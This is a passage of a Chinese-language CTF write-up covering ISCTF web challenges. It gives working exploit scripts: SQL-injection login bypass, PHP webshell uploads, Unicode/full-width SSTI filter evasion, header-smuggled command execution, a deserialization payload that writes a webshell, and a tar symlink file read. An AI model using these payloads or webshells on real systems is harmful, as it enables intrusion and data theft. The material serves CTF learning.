&lt;li&gt;需要先在 &lt;code&gt;/admin/login.php&lt;/code&gt; 使用 SQL 注入 Payload 获取有效的 &lt;code&gt;PHPSESSID&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;携带该 Cookie 向 &lt;code&gt;/upload.php&lt;/code&gt; (或者直接在登录后的表单提交地址) 上传 PHP 文件。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;上传脚本核心逻辑&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests

url_login = &quot;http://challenge.bluesharkinfo.com:24038/admin/login.php&quot;
url_upload = &quot;http://challenge.bluesharkinfo.com:24038/upload.php&quot;

s = requests.Session()
# 1. 登录绕过
s.post(url_login, data={&quot;username&quot;: &quot;admin&quot;, &quot;password&quot;: &quot;1&apos; OR &apos;1&apos;=&apos;1&quot;})

# 2. 上传 Webshell
files = {&quot;shell&quot;: (&quot;cmd.php&quot;, &quot;&amp;lt;?php system($_GET[&apos;c&apos;]); ?&amp;gt;&quot;, &quot;application/x-php&quot;)}
s.post(url_upload, files=files)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上传成功后，服务器返回 Webshell 路径：&lt;code&gt;/cmd.php&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. 获取 Flag&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;访问 Webshell 并执行系统命令寻找 Flag。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;寻找 Flag 文件位置&lt;/strong&gt;:
URL: &lt;code&gt;http://challenge.bluesharkinfo.com:24038/cmd.php?c=find / -name flag*&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;输出结果中发现：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/home/flag
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;读取 Flag&lt;/strong&gt;:
URL: &lt;code&gt;http://challenge.bluesharkinfo.com:24038/cmd.php?c=cat /home/flag&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;输出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ISCTF{90d8667f-a7fa-44fe-9f8e-673d6f989b01}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;b@by n0t1ce b0ard&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;漏洞分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;该漏洞存在于 &lt;code&gt;registration.php&lt;/code&gt; 文件中。在处理用户注册请求时，代码未对上传的头像文件进行任何后缀名或文件类型的验证，直接将其保存到服务器上。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;漏洞代码片段 (&lt;code&gt;registration.php&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 接收表单数据
extract($_POST);
// ...
// 获取文件名
$imageName=$_FILES[&apos;img&apos;][&apos;name&apos;];
// ...
// 创建目录并移动上传的文件
mkdir(&quot;images/$e&quot;);
move_uploaded_file($_FILES[&apos;img&apos;][&apos;tmp_name&apos;],&quot;images/$e/&quot;.$_FILES[&apos;img&apos;][&apos;name&apos;]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;攻击者可以构造一个包含恶意 PHP 代码的文件（例如 &lt;code&gt;shell.php&lt;/code&gt;），在注册时将其作为头像上传。上传成功后，文件会被保存在 &lt;code&gt;/images/&amp;lt;用户邮箱&amp;gt;/&lt;/code&gt; 目录下。攻击者可以通过访问该路径执行任意 PHP 代码。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;复现步骤&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;构造 Payload&lt;/strong&gt;: 准备一个 PHP Webshell，例如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php system($_GET[&apos;cmd&apos;]); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;发送请求&lt;/strong&gt;: 向 &lt;code&gt;registration.php&lt;/code&gt; 发送 POST 请求，包含必要的注册信息，并将 &lt;code&gt;img&lt;/code&gt; 字段设置为上述 PHP 文件。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;获取 Shell&lt;/strong&gt;: 注册成功后，Webshell 的路径为 &lt;code&gt;http://目标IP:端口/images/&amp;lt;邮箱&amp;gt;/shell.php&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;执行命令&lt;/strong&gt;: 访问 &lt;code&gt;http://目标IP:端口/images/&amp;lt;邮箱&amp;gt;/shell.php?cmd=cat /flag&lt;/code&gt; 读取 flag。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;难过的 bottle&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;WAF 分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;经过进一步测试，发现服务器部署了一个非常严格的黑名单（WAF），过滤了绝大多数的小写字母和特殊符号。&lt;/p&gt;
&lt;p&gt;黑名单包含：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;BLACKLIST = [&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;%&quot;,&quot;;&quot;,&quot;,&quot;,&quot;&amp;lt;&quot;,&quot;&amp;gt;&quot;,&quot;:&quot;,&quot;?&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;允许的字符&lt;/strong&gt;: &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;f&lt;/code&gt;, &lt;code&gt;g&lt;/code&gt;, &lt;code&gt;l&lt;/code&gt; 以及数字和部分符号（如 &lt;code&gt;.&lt;/code&gt;, &lt;code&gt;_&lt;/code&gt;, &lt;code&gt;(&lt;/code&gt;, &lt;code&gt;)&lt;/code&gt;, &lt;code&gt;+&lt;/code&gt;, &lt;code&gt;&apos;&lt;/code&gt;, &lt;code&gt;&quot;&lt;/code&gt;）。&lt;/p&gt;
&lt;p&gt;这意味着我们无法直接使用 &lt;code&gt;import&lt;/code&gt;, &lt;code&gt;os&lt;/code&gt;, &lt;code&gt;popen&lt;/code&gt;, &lt;code&gt;read&lt;/code&gt; 等关键词，也无法直接书写包含这些字母的字符串（如 &lt;code&gt;&apos;os&apos;&lt;/code&gt;, &lt;code&gt;&apos;cat /flag&apos;&lt;/code&gt;）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;绕过技巧：Unicode 等价性 (Normalization)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Python 3 在处理标识符（变量名、函数名）时，支持 Unicode 字符。如果一个 Unicode 字符通过 &lt;strong&gt;NFKC 标准化&lt;/strong&gt; 后对应 ASCII 字符，Python 解释器会将其视为该 ASCII 字符。&lt;/p&gt;
&lt;p&gt;利用这一特性，我们可以用“长得像”的 Unicode 字符替换黑名单中的字符，从而绕过 WAF 检测。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;方法一：使用 Unicode 变体 (上标/下标/特殊符号)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;寻找与 ASCII 字符长得不一样但标准化后相同的字符。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;替换字符示例&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;c&lt;/code&gt; -&amp;gt; &lt;code&gt;ᶜ&lt;/code&gt; (U+1D9C)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;h&lt;/code&gt; -&amp;gt; &lt;code&gt;ʰ&lt;/code&gt; (U+02B0)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r&lt;/code&gt; -&amp;gt; &lt;code&gt;ʳ&lt;/code&gt; (U+02B3)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;i&lt;/code&gt; -&amp;gt; &lt;code&gt;ᵢ&lt;/code&gt; (U+1D62)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;m&lt;/code&gt; -&amp;gt; &lt;code&gt;ᵐ&lt;/code&gt; (U+1D50)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;p&lt;/code&gt; -&amp;gt; &lt;code&gt;ᵖ&lt;/code&gt; (U+1D56)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;o&lt;/code&gt; -&amp;gt; &lt;code&gt;º&lt;/code&gt; (U+00BA)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;t&lt;/code&gt; -&amp;gt; &lt;code&gt;ᵗ&lt;/code&gt; (U+1D57)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;e&lt;/code&gt; -&amp;gt; &lt;code&gt;ᵉ&lt;/code&gt; (U+1D49)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;n&lt;/code&gt; -&amp;gt; &lt;code&gt;ⁿ&lt;/code&gt; (U+207F)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;构造 Payload&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{{ __ᵢᵐᵖºʳᵗ__(ᶜʰʳ(111)+ᶜʰʳ(115)).ᵖºᵖᵉⁿ(ᶜʰʳ(99)+ᶜʰʳ(97)+ᶜʰʳ(116)+ᶜʰʳ(32)+ᶜʰʳ(47)+ᶜʰʳ(102)+ᶜʰʳ(108)+ᶜʰʳ(97)+ᶜʰʳ(103)).ʳᵉaᵈ() }}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;这里的 &lt;code&gt;ᶜʰʳ&lt;/code&gt; 对应 &lt;code&gt;chr&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;__ᵢᵐᵖºʳᵗ__&lt;/code&gt; 对应 &lt;code&gt;__import__&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;字符串参数通过 &lt;code&gt;chr(code)&lt;/code&gt; 拼接生成。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;方法二：使用全角字符 (Full-width Characters)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;全角字符（Full-width forms）通常用于东亚文字排版，它们的 Unicode 编码范围是 &lt;code&gt;U+FF01&lt;/code&gt; 到 &lt;code&gt;U+FF5E&lt;/code&gt;。这些字符在 NFKC 标准化下也会转换为对应的半角 ASCII 字符。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;全角字符示例&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;a&lt;/code&gt; (U+0061) -&amp;gt; &lt;code&gt;ａ&lt;/code&gt; (U+FF41)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;b&lt;/code&gt; (U+0062) -&amp;gt; &lt;code&gt;ｂ&lt;/code&gt; (U+FF42)&lt;/li&gt;
&lt;li&gt;...&lt;/li&gt;
&lt;li&gt;&lt;code&gt;z&lt;/code&gt; (U+007A) -&amp;gt; &lt;code&gt;ｚ&lt;/code&gt; (U+FF5A)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;由于 WAF 只过滤了半角的小写字母，使用全角字母可以完美绕过检测，且 Python 能够正常识别它们为代码。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;替换逻辑&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def to_fullwidth(char):
    # ASCII 字符偏移量 0xFEE0 得到全角字符
    return chr(ord(char) + 0xFEE0)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;构造 Payload&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{{ __ｉｍｐｏｒｔ__(ｃｈｒ(111)+ｃｈｒ(115)).ｐｏｐｅｎ(ｃｈｒ(99)+ｃｈｒ(97)+ｃｈｒ(116)+ｃｈｒ(32)+ｃｈｒ(47)+ｃｈｒ(102)+ｃｈｒ(108)+ｃｈｒ(97)+ｃｈｒ(103)).ｒｅaｄ() }}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;__ｉｍｐｏｒｔ__&lt;/code&gt; -&amp;gt; &lt;code&gt;__import__&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ｃｈｒ&lt;/code&gt; -&amp;gt; &lt;code&gt;chr&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ｐｏｐｅｎ&lt;/code&gt; -&amp;gt; &lt;code&gt;popen&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ｒｅaｄ&lt;/code&gt; -&amp;gt; &lt;code&gt;read&lt;/code&gt; (注意 &lt;code&gt;a&lt;/code&gt; 可以用全角也可以用半角，因为半角 &lt;code&gt;a&lt;/code&gt; 未被过滤)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import zipfile

def create_fullwidth_payload():
    # 黑名单字符集
    blacklist = set([&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;])

    def bypass_id(s):
        res = &quot;&quot;
        for char in s:
            if char in blacklist:
                # 转换为全角字符: ASCII + 0xFEE0
                res += chr(ord(char) + 0xFEE0)
            else:
                res += char
        return res

    # 1. 处理函数名
    func_chr = bypass_id(&quot;chr&quot;)           # -&amp;gt; ｃｈｒ
    func_import = bypass_id(&quot;__import__&quot;) # -&amp;gt; __ｉｍｐｏｒｔ__
    func_popen = bypass_id(&quot;popen&quot;)       # -&amp;gt; ｐｏｐｅｎ
    func_read = bypass_id(&quot;read&quot;)         # -&amp;gt; ｒｅaｄ

    # 2. 构造参数字符串 &apos;os&apos; 和 &apos;cat /flag&apos;
    # 使用 chr() 拼接，避免直接出现字符
    def make_str(s):
        return &quot;+&quot;.join([f&quot;{func_chr}({ord(c)})&quot; for c in s])

    str_os = make_str(&quot;os&quot;)
    str_cmd = make_str(&quot;cat /flag&quot;)

    # 3. 组合 Payload
    payload = f&quot;{{{{ {func_import}({str_os}).{func_popen}({str_cmd}).{func_read}() }}}}&quot;
    print(&quot;Payload:&quot;, payload)

    # 4. 写入文件
    with zipfile.ZipFile(&apos;exp.zip&apos;, &apos;w&apos;) as zf:
        zf.writestr(&apos;exp.txt&apos;, payload.encode(&apos;utf-8&apos;))

if __name__ == &apos;__main__&apos;:
    create_fullwidth_payload()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个脚本可以用来查找任何给定字符的可用 Unicode 变体（如上标、下标、全角字符等），这些变体在 Python 中会被标准化为原始字符。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import unicodedata

def search_variants(target_chars):
    &quot;&quot;&quot;
    Search for Unicode characters that normalize to the target characters
    but are NOT the target characters themselves.
    &quot;&quot;&quot;
    found = {char: [] for char in target_chars}
    
    print(f&quot;[*] Searching for variants for: {&apos;, &apos;.join(target_chars)}&quot;)
    
    # Scan Basic Multilingual Plane (BMP) and a bit more
    for code in range(0x1FFFF):
        char = chr(code)
        try:
            # NFKC is what Python uses for identifier normalization
            norm = unicodedata.normalize(&apos;NFKC&apos;, char)
        except:
            continue
            
        if norm in target_chars and char != norm:
            # Check if it&apos;s a valid identifier part in Python
            if char.isidentifier():
                found[norm].append(char)

    print(&quot;\n[+] Found Variants (Valid Identifiers):&quot;)
    for char in target_chars:
        variants = found[char]
        if variants:
            # Sort by length of representation to find simple ones
            # Pick top 5
            display_vars = variants[:5] 
            var_str = &quot;, &quot;.join([f&quot;{v} (U+{ord(v):04X})&quot; for v in display_vars])
            print(f&quot;  &apos;{char}&apos; -&amp;gt; {var_str}&quot;)
        else:
            print(f&quot;  &apos;{char}&apos; -&amp;gt; [!] No valid identifier variants found&quot;)

if __name__ == &apos;__main__&apos;:
    # The blacklist from the CTF challenge
    blacklist = [&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;]
    search_variants(blacklist)

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;ezrce&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;核心原理&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;题目代码（根据常规 CTF 经验及 web 引用）如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (preg_match(&apos;/^[A-Za-z\(\)_;]+$/&apos;, 
$code)) {
    eval($code);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;限制条件 ：只能使用 字母 、 圆括号 () 、 下划线 _ 和 分号 ; 。 难点 ：不能使用引号（无法直接定义字符串）、数字、 $ （无法使用变量）、 / （路径）等。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解题思路&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们利用 HTTP 头注入 和 PHP 的 getallheaders() 函数来绕过限制。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Payload : system(implode(getallheaders()));&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;getallheaders() : 返回所有 HTTP 请求头的数组（只包含字母和括号，符合正则）。&lt;/li&gt;
&lt;li&gt;implode() : 将数组元素拼接成一个长字符串。&lt;/li&gt;
&lt;li&gt;system() : 执行这个长字符串作为 Shell 命令。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;攻击方式 :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在 HTTP 请求头中插入我们要执行的命令（如 cat /flag ）。&lt;/li&gt;
&lt;li&gt;为了防止拼接后的其他头信息干扰命令执行，我们在命令后加上 ; # （Shell 中的命令分隔符和注释符）。&lt;/li&gt;
&lt;li&gt;由于 implode 会拼接所有头的值，只要我们的恶意头排在前面（或者即使在中间，只要前面没有破坏 Shell 语法的字符），命令就会执行。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import re

url = &quot;http://challenge.bluesharkinfo.com:21131/&quot;

def get_flag():
    # 1. 构造符合正则 /^[A-Za-z\(\)_;]+$/ 的 PHP Payload
    #    system(implode(getallheaders())); 会将所有 HTTP 头的值拼接入 system() 执行
    payload = &quot;system(implode(getallheaders()));&quot;
    
    # 2. 在 HTTP 头中注入 Shell 命令
    #    &apos;cat /flag&apos; 是我们要执行的命令
    #    &apos;; #&apos; 用于结束命令并注释掉后续拼接进来的其他 HTTP 头（如 User-Agent 等）
    #    &apos;A-Cmd&apos; 是自定义头名，首字母 A 是为了尽量让它在 implode 拼接时靠前（视服务器排序策略而定）
    headers = {
        &apos;A-Cmd&apos;: &apos;cat /flag; #&apos;,
        &apos;User-Agent&apos;: &apos;Exploit/1.0&apos; # 其他头会被 # 注释掉
    }
    
    print(f&quot;[*] Sending payload to {url}...&quot;)
    try:
        response = requests.get(url, params={&apos;code&apos;: payload}, headers=headers)
        
        # 使用正则提取 Flag
        flag_match = re.search(r&apos;ISCTF\{[^}]+\}&apos;, response.text)
        if flag_match:
            print(f&quot;[+] Flag found: {flag_match.group(0)}&quot;)
        else:
            print(&quot;[-] Flag not found. Response snippet:&quot;)
            print(response.text[:200])
            
    except Exception as e:
        print(f&quot;[!] Error: {e}&quot;)

if __name__ == &quot;__main__&quot;:
    get_flag()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;来签个到吧&lt;/h2&gt;
&lt;p&gt;先代码审计&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;入口点 ( src/index.php ) :
代码中存在如下逻辑：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (str_starts_with($s, &quot;blueshark:&quot;)) {
    $ss = substr($s, strlen(&quot;blueshark:&quot;));
    $o = @unserialize($ss);
    // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果 POST 参数 shark 以 blueshark: 开头，剩余部分会被传入 unserialize() 函数。这直接导致了反序列化漏洞。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;利用链 ( src/classes.php ) :
存在一个 FileLogger 类，其 __destruct() 方法会将 $content 写入 $logfile 指定的文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class FileLogger {
    public $logfile = &quot;/tmp/notehub.log&quot;;
    public $content = &quot;&quot;;
    // ...
    public function __destruct() {
        if ($this-&amp;gt;content) {
            file_put_contents($this-&amp;gt;logfile, $this-&amp;gt;content, FILE_APPEND);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们可以利用这个类，将恶意的 PHP 代码写入 Web 目录下的文件（例如 shell.php ），从而获得 Webshell。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;攻击过程&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;构造 Payload :
我编写了一个脚本生成序列化数据，创建了一个 FileLogger 对象，将 logfile 设置为 /var/www/html/shell.php ， content 设置为 &amp;lt;?php @eval($_POST[&apos;cmd&apos;]);?&amp;gt; 。&lt;/p&gt;
&lt;p&gt;Payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;blueshark:O:10:&quot;FileLogger&quot;:2:{s:7:&quot;logfile&quot;;s:23:&quot;/var/www/html/shell.php&quot;;
s:7:&quot;content&quot;;s:29:&quot;&amp;lt;?php @eval($_POST[&apos;cmd&apos;]);?&amp;gt;&quot;;}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;题目提供了一个文件分享网站，允许用户上传图片（png, avif 等）、文本（txt）以及 打包格式（tar） 。网站特别说明：“上传后会自动帮你解压到目录”。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;漏洞分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;该题目的核心漏洞在于服务器处理 tar 文件解压时，没有对压缩包内的文件类型做安全检查。Python 的 tarfile 模块在 extractall() 时，默认会保留压缩包内的 符号链接（Symbolic Link） 。&lt;/p&gt;
&lt;p&gt;如果攻击者构造一个包含指向 /flag （或其他敏感文件）的符号链接的 tar 包，服务器解压后，会在上传目录下生成一个指向 /flag 的软链接。当我们通过 Web 访问这个软链接文件时，服务器会读取链接指向的目标文件内容并返回，从而导致任意文件读取。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解题步骤&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;第一步：构造恶意 Tar 包&lt;/p&gt;
&lt;p&gt;我们需要编写一个 Python 脚本，利用 tarfile 库创建一个包含恶意软链接的 tar 文件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import tarfile

def make_tar(filename):
    with tarfile.open(filename, &quot;w&quot;) as 
    tar:
        # 创建一个名为 link_flag.txt 的文件
        # 类型设置为符号链接 (SYMTYPE)
        # 链接指向服务器根目录下的 /flag
        info = tarfile.TarInfo(&quot;link_flag.
        txt&quot;)
        info.type = tarfile.SYMTYPE
        info.linkname = &quot;/flag&quot;
        tar.addfile(info)

        # 顺便读取一下源码 app.py
        info_app = tarfile.TarInfo
        (&quot;link_app.txt&quot;)
        info_app.type = tarfile.SYMTYPE
        info_app.linkname = &quot;../app.py&quot;  
        # 猜测源码在上一级目录
        tar.addfile(info_app)

make_tar(&quot;exploit.tar&quot;)
print(&quot;Payload exploit.tar 生成成功！&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第二步：上传 Payload&lt;/p&gt;
&lt;p&gt;将生成的 exploit.tar 通过网站首页的上传功能上传。&lt;/p&gt;
&lt;p&gt;第三步：读取 Flag&lt;/p&gt;
&lt;p&gt;上传成功后，服务器自动解压。此时访问对应的解压路径即可读取 flag。
根据题目逻辑，文件会被解压到上传目录，我们可以直接通过 /download/&amp;lt;filename&amp;gt; 访问。&lt;/p&gt;
&lt;h2&gt;Bypass&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;源码审计&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;核心代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class FLAG
{
    private $a;
    protected $b;
    // ...
    public function __destruct(){
        $a = (string)$this-&amp;gt;a;
        $b = (string)$this-&amp;gt;b;
        if ($this-&amp;gt;check($a,$b)){
            $a(&quot;&quot;, $b);
        }
        else{
            echo &quot;Try again!&quot;;
        }
    }
    private function check($a, $b) {
        // 黑名单过滤
        $blocked_a = [&apos;eval&apos;, &apos;dl&apos;, &apos;ls&apos;, &apos;p&apos;, 
        &apos;escape&apos;, &apos;er&apos;, &apos;str&apos;, &apos;cat&apos;, &apos;flag&apos;, &apos;file&apos;, 
        &apos;ay&apos;, &apos;or&apos;, &apos;ftp&apos;, &apos;dict&apos;, &apos;\.\.&apos;, &apos;h&apos;, &apos;w&apos;, 
        &apos;exec&apos;, &apos;s&apos;, &apos;open&apos;];
        $blocked_b = [&apos;find&apos;, &apos;filter&apos;, &apos;c&apos;, &apos;pa&apos;, 
        &apos;proc&apos;, &apos;dir&apos;, &apos;regexp&apos;, &apos;n&apos;, &apos;alter&apos;, 
        &apos;load&apos;, &apos;grep&apos;, &apos;o&apos;, &apos;file&apos;, &apos;t&apos;, &apos;w&apos;, 
        &apos;insert&apos;, &apos;sort&apos;, &apos;h&apos;, &apos;sy&apos;, &apos;\.\.&apos;, &apos;array&apos;, 
        &apos;sh&apos;, &apos;touch&apos;, &apos;e&apos;, &apos;php&apos;, &apos;f&apos;];
        // ... 正则匹配 ...
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;漏洞点 : __destruct 方法中，在通过 check 函数检查后，会执行 $a(&quot;&quot;, $b) 。这实际上是在调用函数 $a ，并将 &quot;&quot; 和 $b 作为参数传入。&lt;/p&gt;
&lt;p&gt;难点 :
我们需要找到一个函数 $a 和一个参数 $b ，既能绕过极其严格的黑名单，又能执行任意代码（RCE）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;绕过思路&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一步：选择函数 $a&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;$blocked_a 过滤了 s ，这导致绝大多数命令执行函数无法使用：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;system (含 s) -&amp;gt; ❌&lt;/li&gt;
&lt;li&gt;passthru (含 s) -&amp;gt; ❌&lt;/li&gt;
&lt;li&gt;shell_exec (含 s) -&amp;gt; ❌&lt;/li&gt;
&lt;li&gt;assert (含 s) -&amp;gt; ❌&lt;/li&gt;
&lt;li&gt;call_user_func (含 s) -&amp;gt; ❌
同时过滤了 p (单独字符) 和 exec 。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;突破口 : create_function&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;create_function 在 PHP &amp;lt; 8.0 中可用（本题环境通常为 PHP 5/7）。&lt;/li&gt;
&lt;li&gt;它接受两个参数： $args 和 $code 。&lt;/li&gt;
&lt;li&gt;内部实现类似于 eval(&quot;function lambda_func($args) { $code }&quot;); 。&lt;/li&gt;
&lt;li&gt;关键点 : create_function 这个字符串本身 不包含 $blocked_a 中的任何黑名单字符（注意 er 是被禁的，但 re 没问题； p 被禁，但 create_function 不含 p ）。
因此，选定 $a = &quot;create_function&quot; 。此时代码执行变为 create_function(&quot;&quot;, $b) 。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;第二步：构造 Payload $b&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;create_function(&quot;&quot;, $b) 会执行 eval ，我们可以在 $b 中注入代码。
通常利用方式是闭合函数定义： $b = &apos;} original_payload; /*&apos; 。
这样 eval 执行的代码变为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function __lambda_func() { } original_payload; /* }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;original_payload 会被立即执行。&lt;/p&gt;
&lt;p&gt;WAF 分析 ($b) : $blocked_b 过滤极其严格，包括单字符： c , e , f , h , n , o , t , w 。&lt;/p&gt;
&lt;p&gt;这意味着我们不能在 Payload 中使用：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;echo (含 e, o, h)&lt;/li&gt;
&lt;li&gt;cat (含 c, t)&lt;/li&gt;
&lt;li&gt;flag (含 f, a, g)&lt;/li&gt;
&lt;li&gt;system (含 e, t)&lt;/li&gt;
&lt;li&gt;shell_exec (含 h, e)
